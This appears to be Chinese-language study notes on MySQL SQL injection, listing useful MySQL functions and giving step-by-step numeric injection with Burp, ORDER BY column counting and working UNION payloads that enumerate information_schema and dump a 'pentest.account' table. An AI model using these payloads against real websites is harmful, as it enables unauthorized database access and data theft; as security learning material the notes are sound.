前提:未过滤
mysql中比较常用的一些函数
version(): 查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file():读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统
CAST( 字段名 as 转换的类型)
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。
数字型注入
1、burp抓包,发送至repeater,用and 1=1,and 1=2试试是否有注入点
2、用order by判断位数,看页面是否正常,也可用二分法进行测试, 因为UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型。
3、union查询判断显示位,可故意输入不存在的id,直接显示当前列数,前面查询不存在的时候,执行后面的语句
4、可以查看链接目标的数据库版本,user(),version(),database(), group_concat():将括号中的所有参数拼接成一个字符串; substr(str,start,length):截取str字符串中从start开始,长度为length的子串
知道database()
查看表名
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pentest’
查看列名
-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘pentest’ and table_name=‘account’
查看字段
1 union select 1,group_concat(id,’@’,rest,’@’,own),3 from pentest.account
字符型注入(同数字型)
1、用'判断是否报错,在数字型注入的基础上考虑闭合